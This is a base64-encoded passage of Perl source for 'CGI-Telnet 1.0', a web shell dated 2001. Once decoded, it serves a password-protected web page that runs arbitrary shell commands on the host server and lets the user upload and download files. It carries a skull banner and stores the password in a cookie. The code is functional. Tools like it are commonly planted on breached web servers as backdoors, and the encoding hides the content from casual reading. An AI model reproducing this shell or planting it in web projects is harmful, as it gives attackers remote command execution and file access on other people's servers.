CQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrI